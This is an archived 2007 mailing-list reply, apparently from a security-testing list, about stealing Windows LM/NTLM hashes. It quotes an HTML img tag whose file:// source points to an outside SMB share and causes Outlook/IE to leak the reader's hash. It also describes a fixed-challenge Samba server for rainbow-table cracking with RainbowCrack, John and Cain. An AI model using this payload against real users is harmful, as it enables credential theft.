From: jmk (jmk@foofus.net)
Date: Sat Nov 17 2007 - 14:34:59 EST
On Fri, 2007-11-16 at 07:38 -0500, Shenk, Jerry A wrote:
> Send the hash to a machine that is only capable of LM authentication and
> then sniff that traffic. I've done that with an embedded image tag in
> an e-mail like <img src="file://123.123.123.123/someshare/dot.gif"> or
> something like that.
FWIW, both "file://" and "\\" work here. Gotta love Outlook and IE. ;)
Rather than sniffing the LM/NTLMv1 exchange, you can also setup your own
SMB service that just logs the data. I've posted my modification to
Samba which uses a fixed challenge to do this here:
http://www.foofus.net/jmk/smbchallenge.html
Using a fixed challenge makes RainbowCrack feasible for this attack.
Even without a fixed value, though, John and Cain can be used to brute
the challenge/response pair.
My assumption is that NTLMv2 is also vulnerable to this attack. The
introduction of a client challenge does limit us to brute-force password
cracking. Probably wouldn't take much to hack logging of the NTLMv2
exchange into Samba.
Joe
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